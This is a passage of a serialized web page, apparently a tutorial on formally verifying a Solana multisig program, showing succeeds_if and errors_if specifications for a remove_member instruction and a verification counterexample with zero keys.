it\n",{"type":20,"tag":315,"props":24414,"children":24415},{"class":317,"line":2217},[24416,24420,24424,24428,24432,24436,24440,24444,24448,24452,24456,24461,24465,24469,24473,24477,24481,24485,24489,24493,24497,24501],{"type":20,"tag":315,"props":24417,"children":24418},{"style":525},[24419],{"type":26,"value":10680},{"type":20,"tag":315,"props":24421,"children":24422},{"style":635},[24423],{"type":26,"value":24259},{"type":20,"tag":315,"props":24425,"children":24426},{"style":334},[24427],{"type":26,"value":61},{"type":20,"tag":315,"props":24429,"children":24430},{"style":328},[24431],{"type":26,"value":13076},{"type":20,"tag":315,"props":24433,"children":24434},{"style":334},[24435],{"type":26,"value":61},{"type":20,"tag":315,"props":24437,"children":24438},{"style":328},[24439],{"type":26,"value":22221},{"type":20,"tag":315,"props":24441,"children":24442},{"style":334},[24443],{"type":26,"value":61},{"type":20,"tag":315,"props":24445,"children":24446},{"style":328},[24447],{"type":26,"value":19387},{"type":20,"tag":315,"props":24449,"children":24450},{"style":334},[24451],{"type":26,"value":61},{"type":20,"tag":315,"props":24453,"children":24454},{"style":345},[24455],{"type":26,"value":7537},{"type":20,"tag":315,"props":24457,"children":24458},{"style":328},[24459],{"type":26,"value":24460},"() \u003C ",{"type":20,"tag":315,"props":24462,"children":24463},{"style":322},[24464],{"type":26,"value":15003},{"type":20,"tag":315,"props":24466,"children":24467},{"style":334},[24468],{"type":26,"value":1861},{"type":20,"tag":315,"props":24470,"children":24471},{"style":345},[24472],{"type":26,"value":17877},{"type":20,"tag":315,"props":24474,"children":24475},{"style":328},[24476],{"type":26,"value":1049},{"type":20,"tag":315,"props":24478,"children":24479},{"style":635},[24480],{"type":26,"value":18684},{"type":20,"tag":315,"props":24482,"children":24483},{"style":334},[24484],{"type":26,"value":61},{"type":20,"tag":315,"props":24486,"children":24487},{"style":328},[24488],{"type":26,"value":13076},{"type":20,"tag":315,"props":24490,"children":24491},{"style":334},[24492],{"type":26,"value":61},{"type":20,"tag":315,"props":24494,"children":24495},{"style":328},[24496],{"type":26,"value":22221},{"type":20,"tag":315,"props":24498,"children":24499},{"style":334},[24500],{"type":26,"value":61},{"type":20,"tag":315,"props":24502,"children":24503},{"style":328},[24504],{"type":26,"value":24505},"threshold) {\n",{"type":20,"tag":315,"props":24507,"children":24508},{"class":317,"line":2225},[24509,24513,24518,24522,24526,24530,24534,24538,24542,24546,24550,24554,24558,24562,24566,24570,24574,24579,24583,24587,24591],{"type":20,"tag":315,"props":24510,"children":24511},{"style":541},[24512],{"type":26,"value":1445},{"type":20,"tag":315,"props":24514,"children":24515},{"style":635},[24516],{"type":26,"value":24517}," new_threshold",{"type":20,"tag":315,"props":24519,"children":24520},{"style":334},[24521],{"type":26,"value":2884},{"type":20,"tag":315,"props":24523,"children":24524},{"style":322},[24525],{"type":26,"value":19434},{"type":20,"tag":315,"props":24527,"children":24528},{"style":334},[24529],{"type":26,"value":1395},{"type":20,"tag":315,"props":24531,"children":24532},{"style":635},[24533],{"type":26,"value":24259},{"type":20,"tag":315,"props":24535,"children":24536},{"style":334},[24537],{"type":26,"value":61},{"type":20,"tag":315,"props":24539,"children":24540},{"style":328},[24541],{"type":26,"value":13076},{"type":20,"tag":315,"props":24543,"children":24544},{"style":334},[24545],{"type":26,"value":61},{"type":20,"tag":315,"props":24547,"children":24548},{"style":328},[24549],{"type":26,"value":22221},{"type":20,"tag":315,"props":24551,"children":24552},{"style":334},[24553],{"type":26,"value":61},{"type":20,"tag":315,"props":24555,"children":24556},{"style":328},[24557],{"type":26,"value":19387},{"type":20,"tag":315,"props":24559,"children":24560},{"style":334},[24561],{"type":26,"value":61},{"type":20,"tag":315,"props":24563,"children":24564},{"style":345},[24565],{"type":26,"value":7537},{"type":20,"tag":315,"props":24567,"children":24568},{"style":328},[24569],{"type":26,"value":12280},{"type":20,"tag":315,"props":24571,"children":24572},{"style":334},[24573],{"type":26,"value":61},{"type":20,"tag":315,"props":24575,"children":24576},{"style":345},[24577],{"type":26,"value":24578},"try_into",{"type":20,"tag":315,"props":24580,"children":24581},{"style":328},[24582],{"type":26,"value":12280},{"type":20,"tag":315,"props":24584,"children":24585},{"style":334},[24586],{"type":26,"value":61},{"type":20,"tag":315,"props":24588,"children":24589},{"style":345},[24590],{"type":26,"value":2046},{"type":20,"tag":315,"props":24592,"children":24593},{"style":328},[24594],{"type":26,"value":568},{"type":20,"tag":315,"props":24596,"children":24597},{"class":317,"line":2285},[24598,24603,24607,24611,24615,24619,24623,24628,24632,24637,24641,24645],{"type":20,"tag":315,"props":24599,"children":24600},{"style":635},[24601],{"type":26,"value":24602}," ctx",{"type":20,"tag":315,"props":24604,"children":24605},{"style":334},[24606],{"type":26,"value":61},{"type":20,"tag":315,"props":24608,"children":24609},{"style":328},[24610],{"type":26,"value":13076},{"type":20,"tag":315,"props":24612,"children":24613},{"style":334},[24614],{"type":26,"value":61},{"type":20,"tag":315,"props":24616,"children":24617},{"style":328},[24618],{"type":26,"value":22221},{"type":20,"tag":315,"props":24620,"children":24621},{"style":334},[24622],{"type":26,"value":61},{"type":20,"tag":315,"props":24624,"children":24625},{"style":345},[24626],{"type":26,"value":24627},"change_threshold",{"type":20,"tag":315,"props":24629,"children":24630},{"style":328},[24631],{"type":26,"value":1049},{"type":20,"tag":315,"props":24633,"children":24634},{"style":635},[24635],{"type":26,"value":24636},"new_threshold",{"type":20,"tag":315,"props":24638,"children":24639},{"style":328},[24640],{"type":26,"value":1509},{"type":20,"tag":315,"props":24642,"children":24643},{"style":334},[24644],{"type":26,"value":1537},{"type":20,"tag":315,"props":24646,"children":24647},{"style":328},[24648],{"type":26,"value":1405},{"type":20,"tag":315,"props":24650,"children":24651},{"class":317,"line":7444},[24652],{"type":20,"tag":315,"props":24653,"children":24654},{"style":328},[24655],{"type":26,"value":1736},{"type":20,"tag":315,"props":24657,"children":24658},{"class":317,"line":7462},[24659,24663,24668,24672,24676,24680,24684,24688,24692,24696],{"type":20,"tag":315,"props":24660,"children":24661},{"style":541},[24662],{"type":26,"value":1380},{"type":20,"tag":315,"props":24664,"children":24665},{"style":635},[24666],{"type":26,"value":24667}," new_index",{"type":20,"tag":315,"props":24669,"children":24670},{"style":334},[24671],{"type":26,"value":1395},{"type":20,"tag":315,"props":24673,"children":24674},{"style":635},[24675],{"type":26,"value":24259},{"type":20,"tag":315,"props":24677,"children":24678},{"style":334},[24679],{"type":26,"value":61},{"type":20,"tag":315,"props":24681,"children":24682},{"style":328},[24683],{"type":26,"value":13076},{"type":20,"tag":315,"props":24685,"children":24686},{"style":334},[24687],{"type":26,"value":61},{"type":20,"tag":315,"props":24689,"children":24690},{"style":328},[24691],{"type":26,"value":22221},{"type":20,"tag":315,"props":24693,"children":24694},{"style":334},[24695],{"type":26,"value":61},{"type":20,"tag":315,"props":24697,"children":24698},{"style":328},[24699],{"type":26,"value":24700},"transaction_index;\n",{"type":20,"tag":315,"props":24702,"children":24703},{"class":317,"line":7507},[24704,24708,24712,24716,24720,24724,24728,24733,24737,24742],{"type":20,"tag":315,"props":24705,"children":24706},{"style":635},[24707],{"type":26,"value":18627},{"type":20,"tag":315,"props":24709,"children":24710},{"style":334},[24711],{"type":26,"value":61},{"type":20,"tag":315,"props":24713,"children":24714},{"style":328},[24715],{"type":26,"value":13076},{"type":20,"tag":315,"props":24717,"children":24718},{"style":334},[24719],{"type":26,"value":61},{"type":20,"tag":315,"props":24721,"children":24722},{"style":328},[24723],{"type":26,"value":22221},{"type":20,"tag":315,"props":24725,"children":24726},{"style":334},[24727],{"type":26,"value":61},{"type":20,"tag":315,"props":24729,"children":24730},{"style":345},[24731],{"type":26,"value":24732},"set_change_index",{"type":20,"tag":315,"props":24734,"children":24735},{"style":328},[24736],{"type":26,"value":1049},{"type":20,"tag":315,"props":24738,"children":24739},{"style":635},[24740],{"type":26,"value":24741},"new_index",{"type":20,"tag":315,"props":24743,"children":24744},{"style":328},[24745],{"type":26,"value":380},{"type":20,"tag":315,"props":24747,"children":24748},{"class":317,"line":7613},[24749],{"type":20,"tag":315,"props":24750,"children":24751},{"style":328},[24752],{"type":26,"value":577},{"type":20,"tag":29,"props":24754,"children":24755},{},[24756,24758,24763],{"type":26,"value":24757},"First let's establish the ",{"type":20,"tag":119,"props":24759,"children":24761},{"className":24760},[],[24762],{"type":26,"value":18558},{"type":26,"value":24764}," condition. We can do this either interactively, following counterexamples like in the first example or we can guess what a sufficient condition might be:",{"type":20,"tag":305,"props":24766,"children":24768},{"code":24767,"language":1359,"meta":7,"className":1360,"style":7},"#[succeeds_if(\n ctx.accounts.multisig.keys.len() > 1\n)]\nfn remove_member(...) { ... }\n",[24769],{"type":20,"tag":119,"props":24770,"children":24771},{"__ignoreMap":7},[24772,24779,24826,24833],{"type":20,"tag":315,"props":24773,"children":24774},{"class":317,"line":318},[24775],{"type":20,"tag":315,"props":24776,"children":24777},{"style":328},[24778],{"type":26,"value":22528},{"type":20,"tag":315,"props":24780,"children":24781},{"class":317,"line":356},[24782,24786,24790,24794,24798,24802,24806,24810,24814,24818,24822],{"type":20,"tag":315,"props":24783,"children":24784},{"style":328},[24785],{"type":26,"value":18627},{"type":20,"tag":315,"props":24787,"children":24788},{"style":334},[24789],{"type":26,"value":61},{"type":20,"tag":315,"props":24791,"children":24792},{"style":328},[24793],{"type":26,"value":13076},{"type":20,"tag":315,"props":24795,"children":24796},{"style":334},[24797],{"type":26,"value":61},{"type":20,"tag":315,"props":24799,"children":24800},{"style":328},[24801],{"type":26,"value":22221},{"type":20,"tag":315,"props":24803,"children":24804},{"style":334},[24805],{"type":26,"value":61},{"type":20,"tag":315,"props":24807,"children":24808},{"style":328},[24809],{"type":26,"value":19387},{"type":20,"tag":315,"props":24811,"children":24812},{"style":334},[24813],{"type":26,"value":61},{"type":20,"tag":315,"props":24815,"children":24816},{"style":328},[24817],{"type":26,"value":19425},{"type":20,"tag":315,"props":24819,"children":24820},{"style":334},[24821],{"type":26,"value":8862},{"type":20,"tag":315,"props":24823,"children":24824},{"style":328},[24825],{"type":26,"value":822},{"type":20,"tag":315,"props":24827,"children":24828},{"class":317,"line":365},[24829],{"type":20,"tag":315,"props":24830,"children":24831},{"style":328},[24832],{"type":26,"value":18662},{"type":20,"tag":315,"props":24834,"children":24835},{"class":317,"line":374},[24836,24840,24844,24848,24852,24856,24860],{"type":20,"tag":315,"props":24837,"children":24838},{"style":541},[24839],{"type":26,"value":18670},{"type":20,"tag":315,"props":24841,"children":24842},{"style":345},[24843],{"type":26,"value":24181},{"type":20,"tag":315,"props":24845,"children":24846},{"style":328},[24847],{"type":26,"value":1049},{"type":20,"tag":315,"props":24849,"children":24850},{"style":334},[24851],{"type":26,"value":7990},{"type":20,"tag":315,"props":24853,"children":24854},{"style":328},[24855],{"type":26,"value":22405},{"type":20,"tag":315,"props":24857,"children":24858},{"style":334},[24859],{"type":26,"value":7990},{"type":20,"tag":315,"props":24861,"children":24862},{"style":328},[24863],{"type":26,"value":7995},{"type":20,"tag":29,"props":24865,"children":24866},{},[24867,24869,24874],{"type":26,"value":24868},"And for now let's remove the invariant on the ",{"type":20,"tag":119,"props":24870,"children":24872},{"className":24871},[],[24873],{"type":26,"value":21146},{"type":26,"value":24875}," account:",{"type":20,"tag":305,"props":24877,"children":24879},{"code":24878,"language":1359,"meta":7,"className":1360,"style":7},"#[invariant()]\npub struct Ms { ... }\n",[24880],{"type":20,"tag":119,"props":24881,"children":24882},{"__ignoreMap":7},[24883,24891],{"type":20,"tag":315,"props":24884,"children":24885},{"class":317,"line":318},[24886],{"type":20,"tag":315,"props":24887,"children":24888},{"style":328},[24889],{"type":26,"value":24890},"#[invariant()]\n",{"type":20,"tag":315,"props":24892,"children":24893},{"class":317,"line":356},[24894,24898,24902,24906,24910,24914],{"type":20,"tag":315,"props":24895,"children":24896},{"style":541},[24897],{"type":26,"value":12091},{"type":20,"tag":315,"props":24899,"children":24900},{"style":541},[24901],{"type":26,"value":19555},{"type":20,"tag":315,"props":24903,"children":24904},{"style":322},[24905],{"type":26,"value":19560},{"type":20,"tag":315,"props":24907,"children":24908},{"style":328},[24909],{"type":26,"value":7985},{"type":20,"tag":315,"props":24911,"children":24912},{"style":334},[24913],{"type":26,"value":7990},{"type":20,"tag":315,"props":24915,"children":24916},{"style":328},[24917],{"type":26,"value":7995},{"type":20,"tag":29,"props":24919,"children":24920},{},[24921],{"type":26,"value":24922},"Let's test this!",{"type":20,"tag":29,"props":24924,"children":24925},{},[24926,24928,24933],{"type":26,"value":24927},"Our ",{"type":20,"tag":119,"props":24929,"children":24931},{"className":24930},[],[24932],{"type":26,"value":18558},{"type":26,"value":24934}," harness produces:",{"type":20,"tag":305,"props":24936,"children":24938},{"code":24937},"VERIFICATION:- SUCCESSFUL\nVerification Time: 28.119272s\n",[24939],{"type":20,"tag":119,"props":24940,"children":24941},{"__ignoreMap":7},[24942],{"type":26,"value":24937},{"type":20,"tag":29,"props":24944,"children":24945},{},[24946],{"type":26,"value":24947},"This tells us that if our multisig has at least two keys then the instruction will succeed.",{"type":20,"tag":29,"props":24949,"children":24950},{},[24951,24953,24958],{"type":26,"value":24952},"However, remember that since ",{"type":20,"tag":119,"props":24954,"children":24956},{"className":24955},[],[24957],{"type":26,"value":18558},{"type":26,"value":24959}," represents just the sufficient conditions, there may be other cases where the function succeeds.",{"type":20,"tag":29,"props":24961,"children":24962},{},[24963,24965,24970,24972,24977,24979,24984],{"type":26,"value":24964},"Suppose we want to be sure that this condition is the ",{"type":20,"tag":55,"props":24966,"children":24967},{},[24968],{"type":26,"value":24969},"only condition",{"type":26,"value":24971}," in which the function will succeed (i.e. ",{"type":20,"tag":55,"props":24973,"children":24974},{},[24975],{"type":26,"value":24976},"\"the function will succeed if and only if the multisig has at least two keys\"",{"type":26,"value":24978},"). We could attempt to verify the other side of this with an ",{"type":20,"tag":119,"props":24980,"children":24982},{"className":24981},[],[24983],{"type":26,"value":18565},{"type":26,"value":24985}," macro such as:",{"type":20,"tag":305,"props":24987,"children":24989},{"code":24988,"language":1359,"meta":7,"className":1360,"style":7},"#[succeeds_if(\n ctx.accounts.multisig.keys.len() > 1\n)]\n#[errors_if(\n ctx.accounts.multisig.keys.len() \u003C= 1\n)]\nfn remove_member(...) { ... }\n",[24990],{"type":20,"tag":119,"props":24991,"children":24992},{"__ignoreMap":7},[24993,25000,25047,25054,25061,25108,25115],{"type":20,"tag":315,"props":24994,"children":24995},{"class":317,"line":318},[24996],{"type":20,"tag":315,"props":24997,"children":24998},{"style":328},[24999],{"type":26,"value":22528},{"type":20,"tag":315,"props":25001,"children":25002},{"class":317,"line":356},[25003,25007,25011,25015,25019,25023,25027,25031,25035,25039,25043],{"type":20,"tag":315,"props":25004,"children":25005},{"style":328},[25006],{"type":26,"value":18627},{"type":20,"tag":315,"props":25008,"children":25009},{"style":334},[25010],{"type":26,"value":61},{"type":20,"tag":315,"props":25012,"children":25013},{"style":328},[25014],{"type":26,"value":13076},{"type":20,"tag":315,"props":25016,"children":25017},{"style":334},[25018],{"type":26,"value":61},{"type":20,"tag":315,"props":25020,"children":25021},{"style":328},[25022],{"type":26,"value":22221},{"type":20,"tag":315,"props":25024,"children":25025},{"style":334},[25026],{"type":26,"value":61},{"type":20,"tag":315,"props":25028,"children":25029},{"style":328},[25030],{"type":26,"value":19387},{"type":20,"tag":315,"props":25032,"children":25033},{"style":334},[25034],{"type":26,"value":61},{"type":20,"tag":315,"props":25036,"children":25037},{"style":328},[25038],{"type":26,"value":19425},{"type":20,"tag":315,"props":25040,"children":25041},{"style":334},[25042],{"type":26,"value":8862},{"type":20,"tag":315,"props":25044,"children":25045},{"style":328},[25046],{"type":26,"value":822},{"type":20,"tag":315,"props":25048,"children":25049},{"class":317,"line":365},[25050],{"type":20,"tag":315,"props":25051,"children":25052},{"style":328},[25053],{"type":26,"value":18662},{"type":20,"tag":315,"props":25055,"children":25056},{"class":317,"line":374},[25057],{"type":20,"tag":315,"props":25058,"children":25059},{"style":328},[25060],{"type":26,"value":18619},{"type":20,"tag":315,"props":25062,"children":25063},{"class":317,"line":383},[25064,25068,25072,25076,25080,25084,25088,25092,25096,25100,25104],{"type":20,"tag":315,"props":25065,"children":25066},{"style":328},[25067],{"type":26,"value":18627},{"type":20,"tag":315,"props":25069,"children":25070},{"style":334},[25071],{"type":26,"value":61},{"type":20,"tag":315,"props":25073,"children":25074},{"style":328},[25075],{"type":26,"value":13076},{"type":20,"tag":315,"props":25077,"children":25078},{"style":334},[25079],{"type":26,"value":61},{"type":20,"tag":315,"props":25081,"children":25082},{"style":328},[25083],{"type":26,"value":22221},{"type":20,"tag":315,"props":25085,"children":25086},{"style":334},[25087],{"type":26,"value":61},{"type":20,"tag":315,"props":25089,"children":25090},{"style":328},[25091],{"type":26,"value":19387},{"type":20,"tag":315,"props":25093,"children":25094},{"style":334},[25095],{"type":26,"value":61},{"type":20,"tag":315,"props":25097,"children":25098},{"style":328},[25099],{"type":26,"value":19425},{"type":20,"tag":315,"props":25101,"children":25102},{"style":334},[25103],{"type":26,"value":17819},{"type":20,"tag":315,"props":25105,"children":25106},{"style":328},[25107],{"type":26,"value":822},{"type":20,"tag":315,"props":25109,"children":25110},{"class":317,"line":407},[25111],{"type":20,"tag":315,"props":25112,"children":25113},{"style":328},[25114],{"type":26,"value":18662},{"type":20,"tag":315,"props":25116,"children":25117},{"class":317,"line":421},[25118,25122,25126,25130,25134,25138,25142],{"type":20,"tag":315,"props":25119,"children":25120},{"style":541},[25121],{"type":26,"value":18670},{"type":20,"tag":315,"props":25123,"children":25124},{"style":345},[25125],{"type":26,"value":24181},{"type":20,"tag":315,"props":25127,"children":25128},{"style":328},[25129],{"type":26,"value":1049},{"type":20,"tag":315,"props":25131,"children":25132},{"style":334},[25133],{"type":26,"value":7990},{"type":20,"tag":315,"props":25135,"children":25136},{"style":328},[25137],{"type":26,"value":22405},{"type":20,"tag":315,"props":25139,"children":25140},{"style":334},[25141],{"type":26,"value":7990},{"type":20,"tag":315,"props":25143,"children":25144},{"style":328},[25145],{"type":26,"value":7995},{"type":20,"tag":29,"props":25147,"children":25148},{},[25149,25151,25156],{"type":26,"value":25150},"Let's test this, we just need to run the new ",{"type":20,"tag":119,"props":25152,"children":25154},{"className":25153},[],[25155],{"type":26,"value":18565},{"type":26,"value":25157}," harness:",{"type":20,"tag":305,"props":25159,"children":25161},{"code":25160},"VERIFICATION:- FAILED\nVerification Time: 31.900913s\n",[25162],{"type":20,"tag":119,"props":25163,"children":25164},{"__ignoreMap":7},[25165],{"type":26,"value":25160},{"type":20,"tag":29,"props":25167,"children":25168},{},[25169],{"type":26,"value":25170},"Hmm, this verification failed! Let's look at the counterexample. The multisig it is trying to remove a member from looks like:",{"type":20,"tag":305,"props":25172,"children":25174},{"code":25173,"language":1359,"meta":7,"className":1360,"style":7},"Account {\n account: Ms {\n threshold: 0,\n authority_index: 0,\n transaction_index: 0,\n ms_change_index: 0,\n bump: 0,\n create_key: ...,\n allow_external_execute: false,\n keys: Vec {\n data: ...,\n size: 0,\n },\n },\n info: AccountInfo { ... },\n}\n",[25175],{"type":20,"tag":119,"props":25176,"children":25177},{"__ignoreMap":7},[25178,25189,25208,25227,25246,25265,25284,25303,25322,25341,25360,25380,25399,25406,25413,25440],{"type":20,"tag":315,"props":25179,"children":25180},{"class":317,"line":318},[25181,25185],{"type":20,"tag":315,"props":25182,"children":25183},{"style":322},[25184],{"type":26,"value":15548},{"type":20,"tag":315,"props":25186,"children":25187},{"style":328},[25188],{"type":26,"value":1092},{"type":20,"tag":315,"props":25190,"children":25191},{"class":317,"line":356},[25192,25196,25200,25204],{"type":20,"tag":315,"props":25193,"children":25194},{"style":635},[25195],{"type":26,"value":23587},{"type":20,"tag":315,"props":25197,"children":25198},{"style":334},[25199],{"type":26,"value":2884},{"type":20,"tag":315,"props":25201,"children":25202},{"style":322},[25203],{"type":26,"value":19560},{"type":20,"tag":315,"props":25205,"children":25206},{"style":328},[25207],{"type":26,"value":1092},{"type":20,"tag":315,"props":25209,"children":25210},{"class":317,"line":365},[25211,25215,25219,25223],{"type":20,"tag":315,"props":25212,"children":25213},{"style":635},[25214],{"type":26,"value":22242},{"type":20,"tag":315,"props":25216,"children":25217},{"style":334},[25218],{"type":26,"value":2884},{"type":20,"tag":315,"props":25220,"children":25221},{"style":765},[25222],{"type":26,"value":985},{"type":20,"tag":315,"props":25224,"children":25225},{"style":328},[25226],{"type":26,"value":643},{"type":20,"tag":315,"props":25228,"children":25229},{"class":317,"line":374},[25230,25234,25238,25242],{"type":20,"tag":315,"props":25231,"children":25232},{"style":635},[25233],{"type":26,"value":23627},{"type":20,"tag":315,"props":25235,"children":25236},{"style":334},[25237],{"type":26,"value":2884},{"type":20,"tag":315,"props":25239,"children":25240},{"style":765},[25241],{"type":26,"value":985},{"type":20,"tag":315,"props":25243,"children":25244},{"style":328},[25245],{"type":26,"value":643},{"type":20,"tag":315,"props":25247,"children":25248},{"class":317,"line":383},[25249,25253,25257,25261],{"type":20,"tag":315,"props":25250,"children":25251},{"style":635},[25252],{"type":26,"value":23647},{"type":20,"tag":315,"props":25254,"children":25255},{"style":334},[25256],{"type":26,"value":2884},{"type":20,"tag":315,"props":25258,"children":25259},{"style":765},[25260],{"type":26,"value":985},{"type":20,"tag":315,"props":25262,"children":25263},{"style":328},[25264],{"type":26,"value":643},{"type":20,"tag":315,"props":25266,"children":25267},{"class":317,"line":407},[25268,25272,25276,25280],{"type":20,"tag":315,"props":25269,"children":25270},{"style":635},[25271],{"type":26,"value":23667},{"type":20,"tag":315,"props":25273,"children":25274},{"style":334},[25275],{"type":26,"value":2884},{"type":20,"tag":315,"props":25277,"children":25278},{"style":765},[25279],{"type":26,"value":985},{"type":20,"tag":315,"props":25281,"children":25282},{"style":328},[25283],{"type":26,"value":643},{"type":20,"tag":315,"props":25285,"children":25286},{"class":317,"line":421},[25287,25291,25295,25299],{"type":20,"tag":315,"props":25288,"children":25289},{"style":635},[25290],{"type":26,"value":23687},{"type":20,"tag":315,"props":25292,"children":25293},{"style":334},[25294],{"type":26,"value":2884},{"type":20,"tag":315,"props":25296,"children":25297},{"style":765},[25298],{"type":26,"value":985},{"type":20,"tag":315,"props":25300,"children":25301},{"style":328},[25302],{"type":26,"value":643},{"type":20,"tag":315,"props":25304,"children":25305},{"class":317,"line":430},[25306,25310,25314,25318],{"type":20,"tag":315,"props":25307,"children":25308},{"style":635},[25309],{"type":26,"value":22255},{"type":20,"tag":315,"props":25311,"children":25312},{"style":334},[25313],{"type":26,"value":2884},{"type":20,"tag":315,"props":25315,"children":25316},{"style":334},[25317],{"type":26,"value":23715},{"type":20,"tag":315,"props":25319,"children":25320},{"style":328},[25321],{"type":26,"value":643},{"type":20,"tag":315,"props":25323,"children":25324},{"class":317,"line":453},[25325,25329,25333,25337],{"type":20,"tag":315,"props":25326,"children":25327},{"style":635},[25328],{"type":26,"value":23727},{"type":20,"tag":315,"props":25330,"children":25331},{"style":334},[25332],{"type":26,"value":2884},{"type":20,"tag":315,"props":25334,"children":25335},{"style":541},[25336],{"type":26,"value":7455},{"type":20,"tag":315,"props":25338,"children":25339},{"style":328},[25340],{"type":26,"value":643},{"type":20,"tag":315,"props":25342,"children":25343},{"class":317,"line":486},[25344,25348,25352,25356],{"type":20,"tag":315,"props":25345,"children":25346},{"style":635},[25347],{"type":26,"value":23747},{"type":20,"tag":315,"props":25349,"children":25350},{"style":334},[25351],{"type":26,"value":2884},{"type":20,"tag":315,"props":25353,"children":25354},{"style":322},[25355],{"type":26,"value":19793},{"type":20,"tag":315,"props":25357,"children":25358},{"style":328},[25359],{"type":26,"value":1092},{"type":20,"tag":315,"props":25361,"children":25362},{"class":317,"line":499},[25363,25368,25372,25376],{"type":20,"tag":315,"props":25364,"children":25365},{"style":635},[25366],{"type":26,"value":25367}," data",{"type":20,"tag":315,"props":25369,"children":25370},{"style":334},[25371],{"type":26,"value":2884},{"type":20,"tag":315,"props":25373,"children":25374},{"style":334},[25375],{"type":26,"value":23715},{"type":20,"tag":315,"props":25377,"children":25378},{"style":328},[25379],{"type":26,"value":643},{"type":20,"tag":315,"props":25381,"children":25382},{"class":317,"line":513},[25383,25387,25391,25395],{"type":20,"tag":315,"props":25384,"children":25385},{"style":635},[25386],{"type":26,"value":23768},{"type":20,"tag":315,"props":25388,"children":25389},{"style":334},[25390],{"type":26,"value":2884},{"type":20,"tag":315,"props":25392,"children":25393},{"style":765},[25394],{"type":26,"value":985},{"type":20,"tag":315,"props":25396,"children":25397},{"style":328},[25398],{"type":26,"value":643},{"type":20,"tag":315,"props":25400,"children":25401},{"class":317,"line":521},[25402],{"type":20,"tag":315,"props":25403,"children":25404},{"style":328},[25405],{"type":26,"value":23789},{"type":20,"tag":315,"props":25407,"children":25408},{"class":317,"line":552},[25409],{"type":20,"tag":315,"props":25410,"children":25411},{"style":328},[25412],{"type":26,"value":23797},{"type":20,"tag":315,"props":25414,"children":25415},{"class":317,"line":571},[25416,25420,25424,25428,25432,25436],{"type":20,"tag":315,"props":25417,"children":25418},{"style":635},[25419],{"type":26,"value":23805},{"type":20,"tag":315,"props":25421,"children":25422},{"style":334},[25423],{"type":26,"value":2884},{"type":20,"tag":315,"props":25425,"children":25426},{"style":322},[25427],{"type":26,"value":23814},{"type":20,"tag":315,"props":25429,"children":25430},{"style":328},[25431],{"type":26,"value":7985},{"type":20,"tag":315,"props":25433,"children":25434},{"style":334},[25435],{"type":26,"value":7990},{"type":20,"tag":315,"props":25437,"children":25438},{"style":328},[25439],{"type":26,"value":23827},{"type":20,"tag":315,"props":25441,"children":25442},{"class":317,"line":2031},[25443],{"type":20,"tag":315,"props":25444,"children":25445},{"style":328},[25446],{"type":26,"value":577},{"type":20,"tag":29,"props":25448,"children":25449},{},[25450],{"type":26,"value":25451},"Interestingly, the multisig has 0 keys and yet this instruction does not error. Let's take a closer look to figure out why:",{"type":20,"tag":29,"props":25453,"children":25454},{},[25455,25457,25463],{"type":26,"value":25456},"Inside our handler, we see that it only checks if the number of keys exactly equals 1. Otherwise it invokes ",{"type":20,"tag":119,"props":25458,"children":25460},{"className":25459},[],[25461],{"type":26,"value":25462},"Ms::remove_member",{"type":26,"value":2884},{"type":20,"tag":305,"props":25465,"children":25467},{"code":25466,"language":1359,"meta":7,"className":1360,"style":7},"if ctx.accounts.multisig.keys.len() == 1 {\n return err!(MsError::CannotRemoveSoloMember);\n}\nctx.accounts.multisig.remove_member(old_member)?;\n",[25468],{"type":20,"tag":119,"props":25469,"children":25470},{"__ignoreMap":7},[25471,25530,25561,25568],{"type":20,"tag":315,"props":25472,"children":25473},{"class":317,"line":318},[25474,25478,25482,25486,25490,25494,25498,25502,25506,25510,25514,25518,25522,25526],{"type":20,"tag":315,"props":25475,"children":25476},{"style":525},[25477],{"type":26,"value":528},{"type":20,"tag":315,"props":25479,"children":25480},{"style":635},[25481],{"type":26,"value":24259},{"type":20,"tag":315,"props":25483,"children":25484},{"style":334},[25485],{"type":26,"value":61},{"type":20,"tag":315,"props":25487,"children":25488},{"style":328},[25489],{"type":26,"value":13076},{"type":20,"tag":315,"props":25491,"children":25492},{"style":334},[25493],{"type":26,"value":61},{"type":20,"tag":315,"props":25495,"children":25496},{"style":328},[25497],{"type":26,"value":22221},{"type":20,"tag":315,"props":25499,"children":25500},{"style":334},[25501],{"type":26,"value":61},{"type":20,"tag":315,"props":25503,"children":25504},{"style":328},[25505],{"type":26,"value":19387},{"type":20,"tag":315,"props":25507,"children":25508},{"style":334},[25509],{"type":26,"value":61},{"type":20,"tag":315,"props":25511,"children":25512},{"style":345},[25513],{"type":26,"value":7537},{"type":20,"tag":315,"props":25515,"children":25516},{"style":328},[25517],{"type":26,"value":12444},{"type":20,"tag":315,"props":25519,"children":25520},{"style":334},[25521],{"type":26,"value":538},{"type":20,"tag":315,"props":25523,"children":25524},{"style":765},[25525],{"type":26,"value":2916},{"type":20,"tag":315,"props":25527,"children":25528},{"style":328},[25529],{"type":26,"value":1092},{"type":20,"tag":315,"props":25531,"children":25532},{"class":317,"line":356},[25533,25537,25541,25545,25549,25553,25557],{"type":20,"tag":315,"props":25534,"children":25535},{"style":525},[25536],{"type":26,"value":731},{"type":20,"tag":315,"props":25538,"children":25539},{"style":345},[25540],{"type":26,"value":21924},{"type":20,"tag":315,"props":25542,"children":25543},{"style":328},[25544],{"type":26,"value":1049},{"type":20,"tag":315,"props":25546,"children":25547},{"style":322},[25548],{"type":26,"value":21933},{"type":20,"tag":315,"props":25550,"children":25551},{"style":334},[25552],{"type":26,"value":1861},{"type":20,"tag":315,"props":25554,"children":25555},{"style":322},[25556],{"type":26,"value":24335},{"type":20,"tag":315,"props":25558,"children":25559},{"style":328},[25560],{"type":26,"value":2214},{"type":20,"tag":315,"props":25562,"children":25563},{"class":317,"line":365},[25564],{"type":20,"tag":315,"props":25565,"children":25566},{"style":328},[25567],{"type":26,"value":577},{"type":20,"tag":315,"props":25569,"children":25570},{"class":317,"line":374},[25571,25575,25579,25583,25587,25591,25595,25599,25603,25607,25611,25615],{"type":20,"tag":315,"props":25572,"children":25573},{"style":635},[25574],{"type":26,"value":18684},{"type":20,"tag":315,"props":25576,"children":25577},{"style":334},[25578],{"type":26,"value":61},{"type":20,"tag":315,"props":25580,"children":25581},{"style":328},[25582],{"type":26,"value":13076},{"type":20,"tag":315,"props":25584,"children":25585},{"style":334},[25586],{"type":26,"value":61},{"type":20,"tag":315,"props":25588,"children":25589},{"style":328},[25590],{"type":26,"value":22221},{"type":20,"tag":315,"props":25592,"children":25593},{"style":334},[25594],{"type":26,"value":61},{"type":20,"tag":315,"props":25596,"children":25597},{"style":345},[25598],{"type":26,"value":23882},{"type":20,"tag":315,"props":25600,"children":25601},{"style":328},[25602]